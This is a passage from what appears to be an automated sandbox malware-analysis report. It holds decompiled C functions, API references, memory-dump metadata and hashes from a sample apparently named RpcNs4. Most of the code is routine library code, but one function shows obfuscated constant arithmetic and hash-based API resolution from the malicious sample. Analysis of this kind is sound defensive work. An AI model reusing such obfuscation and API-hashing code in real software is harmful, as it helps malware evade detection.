				signed int _t5;
				signed int _t6;
				int _t8;

				_t5 =  *0x438b98; // 0x3e83fa3a
				_t6 = _t5 ^  *0x435040;
				if(_t6 == 0) {
					 *0x437794 = _a4;
					_t8 = EnumSystemLocalesW(E0040FDF7, 1);
					 *0x437794 =  *0x437794 & 0x00000000;
					return _t8;
				} else {
					return  *_t6(_a4, _a8, _a12, 0);
				}
			}

0x0040fe0e
0x0040fe13
0x0040fe19
0x0040fe34
0x0040fe39
0x0040fe3f
0x0040fe47
0x0040fe1b
0x0040fe29
0x0040fe29

APIs

EnumSystemLocalesW.KERNEL32(Function_0000FDF7,00000001), ref: 0040FE39

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: edb704bf47a59a5ab0a9504ab8a6b6aeddf6077f984ca58003f0dd85d7650c4c
Instruction ID: 30b321a58b998b160845180e3754b7cbb80e5c2cbe740612ebcd5350c81d0871
Opcode Fuzzy Hash: edb704bf47a59a5ab0a9504ab8a6b6aeddf6077f984ca58003f0dd85d7650c4c
Instruction Fuzzy Hash: 9EE04672140308ABEB218F94EC02F9A3BB5FB08710F101031F60C6A5A1C3B6A560DB48

Uniqueness

Uniqueness Score: -1.00%

Function 0040FE91, Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000002,?,?,0040D324,?,?,?,00000002), ref: 0040FEB8

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9397cd74517d6fdb224d46565c70369d8e45f4f4626f27f89f250cce4a11613b
Instruction ID: 17edf8b972fcea241f044b432938aed0aa7a66364045b38b7dfb920521c90ac9
Opcode Fuzzy Hash: 9397cd74517d6fdb224d46565c70369d8e45f4f4626f27f89f250cce4a11613b
Instruction Fuzzy Hash: 92D01772000109FFCF019FD0EC05C6A7B69FB08324B404436F91855522DB3AA8209BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406769, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406769(_Unknown_base(*)()* _a4) {

				return SetUnhandledExceptionFilter(_a4);
			}

0x00406776

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,004057E0,00405795), ref: 0040676F

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7c737174b513481f1215a5985d364d8ba2fd422e5401cc05964a36295a95c847
Instruction ID: f4dfced62b50315ba40ea79f4eb7e0b4ad1581f7b1b0592bd5f96bbd8c9c0ad0
Opcode Fuzzy Hash: 7c737174b513481f1215a5985d364d8ba2fd422e5401cc05964a36295a95c847
Instruction Fuzzy Hash: 33A0113000820CABAF002B82EC0888A3F2CEA002A0B000020F80C000208BA2AC208A88

Uniqueness

Uniqueness Score: -1.00%

Function 020B1C10, Relevance: 1.4, Strings: 1, Instructions: 107
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E020B1C10(void* __ecx) {
				char _v4;
				signed int _v8;
				signed int _v12;
				void* __ebx;
				void* __ebp;
				intOrPtr* _t79;
				signed int _t80;
				intOrPtr* _t84;
				signed int _t85;
				intOrPtr* _t87;
				int _t93;
				void* _t98;
				signed int _t100;
				signed int _t108;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t137;
				signed int* _t138;

				_t138 =  &_v12;
				_v8 = 0x528c;
				_t134 = __ecx;
				_v8 = _v8 * 0x72;
				_v8 = _v8 ^ 0x9107d438;
				_v8 = _v8 | 0x10285ebd;
				_v8 = _v8 ^ 0x912b5ef5;
				_v12 = 0xf31e;
				_v12 = 0xcccccccd * _v12 >> 0x20 >> 3;
				_v12 = _v12 >> 0xd;
				_v12 = 0xae4c415d * _v12 >> 0x20 >> 6;
				_v12 = _v12 >> 7;
				_v12 = _v12 << 0x10;
				_v12 = _v12 ^ 0x00000010;
				_t79 =  *0x20bdc10;
				if(_t79 == 0) {
					_t79 = E020B3DD0(_t98, E020B3E70(0xbb51e2dc), 0x8ecd1a70, _t135);
					 *0x20bdc10 = _t79;
				}
				_t80 =  *_t79();
				_v12 = 0x67c;
				_v12 = _v12 + 0xffff9f39;
				_t137 = _v8 + _t80 % _v12;
				_v12 = _v12 * 0x54;
				_v12 = _v12 * 0x4e;
				_v12 = _v12 + 0xffff85ad;
				_v12 = _v12 << 0xe;
				_v12 = _v12 | 0xf2b00a51;
				_v12 = _v12 ^ 0xf7b94a59;
				_v8 = 0x7d3a;
				_v8 = _v8 >> 8;
				_v8 = _v8 + 0x5074;
				_v8 = _v8 | 0xd46b9a92;
				_v8 = _v8 ^ 0xd46bdae3;
				_t84 =  *0x20bdc10;
				if(_t84 == 0) {
					_t84 = E020B3DD0(_t98, E020B3E70(0xbb51e2dc), 0x8ecd1a70, _t137);
					 *0x20bdc10 = _t84;
				}
				_t85 =  *_t84();
				_t87 =  *0x20bdc10;
				_t100 = _v12 + _t85 % _v8;
				if(_t87 == 0) {
					_t87 = E020B3DD0(_t100, E020B3E70(0xbb51e2dc), 0x8ecd1a70, _t137);
					 *0x20bdc10 = _t87;
				}
				_v4 =  *_t87();
				if(_t137 != 0) {
					_t130 = _t134;
					_t108 = _t137 >> 1;
					_t134 = _t134 + _t137 * 2;
					_t93 = memset(_t130, 0x2d002d, _t108 << 2);
					asm("adc ecx, ecx");
					memset(_t130 + _t108, _t93, 0);
					_t138 =  &(_t138[6]);
				}
				E020B4E10(_t134, _t100,  &_v4);
				 *((short*)(_t134 + _t100 * 2)) = 0;
				return 0;
			}

0x020b1c10
0x020b1c13
0x020b1c23
0x020b1c25
0x020b1c2e
0x020b1c36
0x020b1c3e
0x020b1c46
0x020b1c5c
0x020b1c60
0x020b1c6e
0x020b1c72
0x020b1c77
0x020b1c7c
0x020b1c81
0x020b1c88
0x020b1c9b
0x020b1ca0
0x020b1ca0
0x020b1ca5
0x020b1cb3
0x020b1cbb
0x020b1cc3
0x020b1cca
0x020b1cd3
0x020b1cd7
0x020b1cdf
0x020b1ce4
0x020b1cec
0x020b1cf4
0x020b1cfc
0x020b1d01
0x020b1d09
0x020b1d11
0x020b1d19
0x020b1d20
0x020b1d33
0x020b1d38
0x020b1d38
0x020b1d3d
0x020b1d4b
0x020b1d50
0x020b1d54
0x020b1d67
0x020b1d6c
0x020b1d6c
0x020b1d73
0x020b1d79
0x020b1d7e
0x020b1d80
0x020b1d82
0x020b1d8a
0x020b1d8c
0x020b1d8e
0x020b1d8e
0x020b1d91
0x020b1d9b
0x020b1da5
0x020b1daf

Strings

tP, xrefs: 020B1D01

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID:
String ID: tP
API String ID: 0-1642201081
Opcode ID: fce1fa16219969650c9e869f2012bb7f361f5a3b038f51465d7940f77dadb2ba
Instruction ID: eedcb6507fcd70bcf44d68af5c469e78a6ca642cd9ac2955f7d613afeb37869d
Opcode Fuzzy Hash: fce1fa16219969650c9e869f2012bb7f361f5a3b038f51465d7940f77dadb2ba
Instruction Fuzzy Hash: 40414770A083059FD359DF69D51519BB7E2BFC4350F00CC2EE4AA8B254DBB8DA189F82

Uniqueness

Uniqueness Score: -1.00%

Function 0040408A, Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040408A() {
				void* _t3;

				_t3 = GetProcessHeap();
				 *0x43735c = _t3;
				return 0 | _t3 != 0x00000000;
			}

0x0040408a
0x00404092
0x0040409e

APIs

GetProcessHeap.KERNEL32(00402B5F,00434230,00000014), ref: 0040408A

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8f503368fa4569f528358c097caf931e5ce8d7e04b0f275c2f1b97ab656b49d6
Instruction ID: 80e3445bce11249cb0ff14713bb76a3cdeac655ff22992080aafcb8a6e7864b8
Opcode Fuzzy Hash: 8f503368fa4569f528358c097caf931e5ce8d7e04b0f275c2f1b97ab656b49d6
Instruction Fuzzy Hash: C9B012F0305103475B0C0B397C1805936D4570C221304507D7883C2160DF60C850EF08

Uniqueness

Uniqueness Score: -1.00%

Function 00416919, Relevance: .3, Instructions: 345
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00416919(void* __edx, void* __esi) {
				signed int _t192;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t241;
				void* _t287;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t326;
				void* _t327;

				_t327 = __esi;
				_t287 = __edx;
				if( *((intOrPtr*)(__esi - 0x1e)) ==  *((intOrPtr*)(__edx - 0x1e))) {
					_t241 = 0;
					L15:
					if(_t241 != 0) {
						goto L2;
					}
					_t193 =  *(_t327 - 0x1a);
					if(_t193 ==  *(_t287 - 0x1a)) {
						_t241 = 0;
						L26:
						if(_t241 != 0) {
							goto L2;
						}
						_t194 =  *(_t327 - 0x16);
						if(_t194 ==  *(_t287 - 0x16)) {
							_t241 = 0;
							L37:
							if(_t241 != 0) {
								goto L2;
							}
							_t195 =  *(_t327 - 0x12);
							if(_t195 ==  *(_t287 - 0x12)) {
								_t241 = 0;
								L48:
								if(_t241 != 0) {
									goto L2;
								}
								_t196 =  *(_t327 - 0xe);
								if(_t196 ==  *(_t287 - 0xe)) {
									_t241 = 0;
									L59:
									if(_t241 != 0) {
										goto L2;
									}
									if( *(_t327 - 0xa) ==  *(_t287 - 0xa)) {
										_t241 = 0;
										L70:
										if(_t241 != 0) {
											goto L2;
										}
										_t198 =  *(_t327 - 6);
										if(_t198 ==  *(_t287 - 6)) {
											_t241 = 0;
											L81:
											if(_t241 == 0 &&  *((intOrPtr*)(_t327 - 2)) ==  *((intOrPtr*)(_t287 - 2))) {
											}
											goto L2;
										}
										_t292 = (_t198 & 0x000000ff) - ( *(_t287 - 6) & 0x000000ff);
										if(_t292 == 0) {
											L74:
											_t294 = ( *(_t327 - 5) & 0x000000ff) - ( *(_t287 - 5) & 0x000000ff);
											if(_t294 == 0) {
												L76:
												_t296 = ( *(_t327 - 4) & 0x000000ff) - ( *(_t287 - 4) & 0x000000ff);
												if(_t296 == 0) {
													L78:
													_t241 = ( *(_t327 - 3) & 0x000000ff) - ( *(_t287 - 3) & 0x000000ff);
													if(_t241 != 0) {
														_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
													}
													goto L81;
												}
												_t241 = (0 | _t296 > 0x00000000) * 2 - 1;
												if(_t241 != 0) {
													goto L2;
												}
												goto L78;
											}
											_t241 = (0 | _t294 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L76;
										}
										_t241 = (0 | _t292 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L74;
									}
									_t298 = ( *(_t327 - 0xa) & 0x000000ff) - ( *(_t287 - 0xa) & 0x000000ff);
									if(_t298 == 0) {
										L63:
										_t300 = ( *(_t327 - 9) & 0x000000ff) - ( *(_t287 - 9) & 0x000000ff);
										if(_t300 == 0) {
											L65:
											_t302 = ( *(_t327 - 8) & 0x000000ff) - ( *(_t287 - 8) & 0x000000ff);
											if(_t302 == 0) {
												L67:
												_t241 = ( *(_t327 - 7) & 0x000000ff) - ( *(_t287 - 7) & 0x000000ff);
												if(_t241 != 0) {
													_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
												}
												goto L70;
											}
											_t241 = (0 | _t302 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L67;
										}
										_t241 = (0 | _t300 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L65;
									}
									_t241 = (0 | _t298 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L63;
								}
								_t304 = (_t196 & 0x000000ff) - ( *(_t287 - 0xe) & 0x000000ff);
								if(_t304 == 0) {
									L52:
									_t306 = ( *(_t327 - 0xd) & 0x000000ff) - ( *(_t287 - 0xd) & 0x000000ff);
									if(_t306 == 0) {
										L54:
										_t308 = ( *(_t327 - 0xc) & 0x000000ff) - ( *(_t287 - 0xc) & 0x000000ff);
										if(_t308 == 0) {
											L56:
											_t241 = ( *(_t327 - 0xb) & 0x000000ff) - ( *(_t287 - 0xb) & 0x000000ff);
											if(_t241 != 0) {
												_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
											}
											goto L59;
										}
										_t241 = (0 | _t308 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L56;
									}
									_t241 = (0 | _t306 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L54;
								}
								_t241 = (0 | _t304 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L52;
							}
							_t310 = (_t195 & 0x000000ff) - ( *(_t287 - 0x12) & 0x000000ff);
							if(_t310 == 0) {
								L41:
								_t312 = ( *(_t327 - 0x11) & 0x000000ff) - ( *(_t287 - 0x11) & 0x000000ff);
								if(_t312 == 0) {
									L43:
									_t314 = ( *(_t327 - 0x10) & 0x000000ff) - ( *(_t287 - 0x10) & 0x000000ff);
									if(_t314 == 0) {
										L45:
										_t241 = ( *(_t327 - 0xf) & 0x000000ff) - ( *(_t287 - 0xf) & 0x000000ff);
										if(_t241 != 0) {
											_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
										}
										goto L48;
									}
									_t241 = (0 | _t314 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L45;
								}
								_t241 = (0 | _t312 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L43;
							}
							_t241 = (0 | _t310 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L41;
						}
						_t316 = (_t194 & 0x000000ff) - ( *(_t287 - 0x16) & 0x000000ff);
						if(_t316 == 0) {
							L30:
							_t318 = ( *(_t327 - 0x15) & 0x000000ff) - ( *(_t287 - 0x15) & 0x000000ff);
							if(_t318 == 0) {
								L32:
								_t320 = ( *(_t327 - 0x14) & 0x000000ff) - ( *(_t287 - 0x14) & 0x000000ff);
								if(_t320 == 0) {
									L34:
									_t241 = ( *(_t327 - 0x13) & 0x000000ff) - ( *(_t287 - 0x13) & 0x000000ff);
									if(_t241 != 0) {
										_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
									}
									goto L37;
								}
								_t241 = (0 | _t320 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L34;
							}
							_t241 = (0 | _t318 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L32;
						}
						_t241 = (0 | _t316 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L30;
					}
					_t322 = (_t193 & 0x000000ff) - ( *(_t287 - 0x1a) & 0x000000ff);
					if(_t322 == 0) {
						L19:
						_t324 = ( *(_t327 - 0x19) & 0x000000ff) - ( *(_t287 - 0x19) & 0x000000ff);
						if(_t324 == 0) {
							L21:
							_t326 = ( *(_t327 - 0x18) & 0x000000ff) - ( *(_t287 - 0x18) & 0x000000ff);
							if(_t326 == 0) {
								L23:
								_t241 = ( *(_t327 - 0x17) & 0x000000ff) - ( *(_t287 - 0x17) & 0x000000ff);
								if(_t241 != 0) {
									_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
								}
								goto L26;
							}
							_t241 = (0 | _t326 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L23;
						}
						_t241 = (0 | _t324 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L21;
					}
					_t241 = (0 | _t322 > 0x00000000) * 2 - 1;
					if(_t241 != 0) {
						goto L2;
					}
					goto L19;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
					if(__edi == 0) {
						L8:
						__edi =  *(__esi - 0x1d) & 0x000000ff;
						__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
						if(__edi == 0) {
							L10:
							__edi =  *(__esi - 0x1c) & 0x000000ff;
							__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
							if(__edi == 0) {
								L12:
								__ecx =  *(__esi - 0x1b) & 0x000000ff;
								__ecx = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L15;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								L2:
								_t192 = _t241;
								return _t192;
							}
							goto L12;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L2;
						}
						goto L10;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L2;
					}
					goto L8;
				}
			}

0x00416919
0x00416919
0x0041691f
0x004169a6
0x004169a8
0x004169aa
0x00000000
0x00000000
0x004169b0
0x004169b6
0x00416a3d
0x00416a3f
0x00416a41
0x00000000
0x00000000
0x00416a47
0x00416a4d
0x00416ad4
0x00416ad6
0x00416ad8
0x00000000
0x00000000
0x00416ade
0x00416ae4
0x00416b6b
0x00416b6d
0x00416b6f
0x00000000
0x00000000
0x00416b75
0x00416b7b
0x00416c02
0x00416c04
0x00416c06
0x00000000
0x00000000
0x00416c12
0x00416c9a
0x00416c9c
0x00416c9e
0x00000000
0x00000000
0x00416ca4
0x00416caa
0x00416d31
0x00416d33
0x00416d35
0x00416d35
0x00000000
0x00416d35
0x00416cb7
0x00416cb9
0x00416cd1
0x00416cd9
0x00416cdb
0x00416cf3
0x00416cfb
0x00416cfd
0x00416d15
0x00416d1d
0x00416d1f
0x00416d28
0x00416d28
0x00000000
0x00416d1f
0x00416d06
0x00416d0f
0x00000000
0x00000000
0x00000000
0x00416d0f
0x00416ce4
0x00416ced
0x00000000
0x00000000
0x00000000
0x00416ced
0x00416cc2
0x00416ccb
0x00000000
0x00000000
0x00000000
0x00416ccb
0x00416c20
0x00416c22
0x00416c3a
0x00416c42
0x00416c44
0x00416c5c
0x00416c64
0x00416c66
0x00416c7e
0x00416c86
0x00416c88
0x00416c91
0x00416c91
0x00000000
0x00416c88
0x00416c6f
0x00416c78
0x00000000
0x00000000
0x00000000
0x00416c78
0x00416c4d
0x00416c56
0x00000000
0x00000000
0x00000000
0x00416c56
0x00416c2b
0x00416c34
0x00000000
0x00000000
0x00000000
0x00416c34
0x00416b88
0x00416b8a
0x00416ba2
0x00416baa
0x00416bac
0x00416bc4
0x00416bcc
0x00416bce
0x00416be6
0x00416bee
0x00416bf0
0x00416bf9
0x00416bf9
0x00000000
0x00416bf0
0x00416bd7
0x00416be0
0x00000000
0x00000000
0x00000000
0x00416be0
0x00416bb5
0x00416bbe
0x00000000
0x00000000
0x00000000
0x00416bbe
0x00416b93
0x00416b9c
0x00000000
0x00000000
0x00000000
0x00416b9c
0x00416af1
0x00416af3
0x00416b0b
0x00416b13
0x00416b15
0x00416b2d
0x00416b35
0x00416b37
0x00416b4f
0x00416b57
0x00416b59
0x00416b62
0x00416b62
0x00000000
0x00416b59
0x00416b40
0x00416b49
0x00000000
0x00000000
0x00000000
0x00416b49
0x00416b1e
0x00416b27
0x00000000
0x00000000
0x00000000
0x00416b27
0x00416afc
0x00416b05
0x00000000
0x00000000
0x00000000
0x00416b05
0x00416a5a
0x00416a5c
0x00416a74
0x00416a7c
0x00416a7e
0x00416a96
0x00416a9e
0x00416aa0
0x00416ab8
0x00416ac0
0x00416ac2
0x00416acb
0x00416acb
0x00000000
0x00416ac2
0x00416aa9
0x00416ab2
0x00000000
0x00000000
0x00000000
0x00416ab2
0x00416a87
0x00416a90
0x00000000
0x00000000
0x00000000
0x00416a90
0x00416a65
0x00416a6e
0x00000000
0x00000000
0x00000000
0x00416a6e
0x004169c3
0x004169c5
0x004169dd
0x004169e5
0x004169e7
0x004169ff
0x00416a07
0x00416a09
0x00416a21
0x00416a29
0x00416a2b
0x00416a34
0x00416a34
0x00000000
0x00416a2b
0x00416a12
0x00416a1b
0x00000000
0x00000000
0x00000000
0x00416a1b
0x004169f0
0x004169f9
0x00000000
0x00000000
0x00000000
0x004169f9
0x004169ce
0x004169d7
0x00000000
0x00000000
0x00000000
0x00416925
0x00416925
0x0041692c
0x0041692e
0x00416946
0x00416946
0x0041694e
0x00416950
0x00416968
0x00416968
0x00416970
0x00416972
0x0041698a
0x0041698a
0x00416992
0x00416994
0x0041699d
0x0041699d
0x00000000
0x00416994
0x00416978
0x0041697b
0x00416984
0x004164dc
0x004164dc
0x004172cd
0x004172cd
0x00000000
0x00416984
0x00416956
0x00416959
0x00416962
0x00000000
0x00000000
0x00000000
0x00416962
0x00416934
0x00416937
0x00416940
0x00000000
0x00000000
0x00000000
0x00416940

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 638f847b18e9f81e8199c3800a25186ca68dc0cb4b31255244a7ee13f08559fe
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 2BC197322091A30ADF1D463984340BFFAA55EA27B131B079FD4B7CB2C5EE28D5A5D61C

Uniqueness

Uniqueness Score: -1.00%

Function 00416D4E, Relevance: .3, Instructions: 341
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00416D4E(void* __edx, void* __esi) {
				signed int _t197;
				signed char _t198;
				signed char _t199;
				signed char _t200;
				signed char _t202;
				signed char _t203;
				signed int _t246;
				void* _t294;
				void* _t297;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t305;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t333;
				void* _t335;
				void* _t336;

				_t336 = __esi;
				_t294 = __edx;
				if( *((intOrPtr*)(__esi - 0x1f)) ==  *((intOrPtr*)(__edx - 0x1f))) {
					_t246 = 0;
					L14:
					if(_t246 != 0) {
						goto L1;
					}
					_t198 =  *(_t336 - 0x1b);
					if(_t198 ==  *(_t294 - 0x1b)) {
						_t246 = 0;
						L25:
						if(_t246 != 0) {
							goto L1;
						}
						_t199 =  *(_t336 - 0x17);
						if(_t199 ==  *(_t294 - 0x17)) {
							_t246 = 0;
							L36:
							if(_t246 != 0) {
								goto L1;
							}
							_t200 =  *(_t336 - 0x13);
							if(_t200 ==  *(_t294 - 0x13)) {
								_t246 = 0;
								L47:
								if(_t246 != 0) {
									goto L1;
								}
								if( *(_t336 - 0xf) ==  *(_t294 - 0xf)) {
									_t246 = 0;
									L58:
									if(_t246 != 0) {
										goto L1;
									}
									_t202 =  *(_t336 - 0xb);
									if(_t202 ==  *(_t294 - 0xb)) {
										_t246 = 0;
										L69:
										if(_t246 != 0) {
											goto L1;
										}
										_t203 =  *(_t336 - 7);
										if(_t203 ==  *(_t294 - 7)) {
											_t246 = 0;
											L80:
											if(_t246 != 0) {
												goto L1;
											}
											_t297 = ( *(_t336 - 3) & 0x000000ff) - ( *(_t294 - 3) & 0x000000ff);
											if(_t297 == 0) {
												L83:
												_t299 = ( *(_t336 - 2) & 0x000000ff) - ( *(_t294 - 2) & 0x000000ff);
												if(_t299 == 0) {
													L3:
													_t246 = ( *(_t336 - 1) & 0x000000ff) - ( *(_t294 - 1) & 0x000000ff);
													if(_t246 != 0) {
														_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
													}
													goto L1;
												}
												_t246 = (0 | _t299 > 0x00000000) * 2 - 1;
												if(_t246 != 0) {
													goto L1;
												} else {
													goto L3;
												}
											}
											_t246 = (0 | _t297 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L83;
										}
										_t301 = (_t203 & 0x000000ff) - ( *(_t294 - 7) & 0x000000ff);
										if(_t301 == 0) {
											L73:
											_t303 = ( *(_t336 - 6) & 0x000000ff) - ( *(_t294 - 6) & 0x000000ff);
											if(_t303 == 0) {
												L75:
												_t305 = ( *(_t336 - 5) & 0x000000ff) - ( *(_t294 - 5) & 0x000000ff);
												if(_t305 == 0) {
													L77:
													_t246 = ( *(_t336 - 4) & 0x000000ff) - ( *(_t294 - 4) & 0x000000ff);
													if(_t246 != 0) {
														_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
													}
													goto L80;
												}
												_t246 = (0 | _t305 > 0x00000000) * 2 - 1;
												if(_t246 != 0) {
													goto L1;
												}
												goto L77;
											}
											_t246 = (0 | _t303 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L75;
										}
										_t246 = (0 | _t301 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L73;
									}
									_t307 = (_t202 & 0x000000ff) - ( *(_t294 - 0xb) & 0x000000ff);
									if(_t307 == 0) {
										L62:
										_t309 = ( *(_t336 - 0xa) & 0x000000ff) - ( *(_t294 - 0xa) & 0x000000ff);
										if(_t309 == 0) {
											L64:
											_t311 = ( *(_t336 - 9) & 0x000000ff) - ( *(_t294 - 9) & 0x000000ff);
											if(_t311 == 0) {
												L66:
												_t246 = ( *(_t336 - 8) & 0x000000ff) - ( *(_t294 - 8) & 0x000000ff);
												if(_t246 != 0) {
													_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
												}
												goto L69;
											}
											_t246 = (0 | _t311 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L66;
										}
										_t246 = (0 | _t309 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L64;
									}
									_t246 = (0 | _t307 > 0x00000000) * 2 - 1;
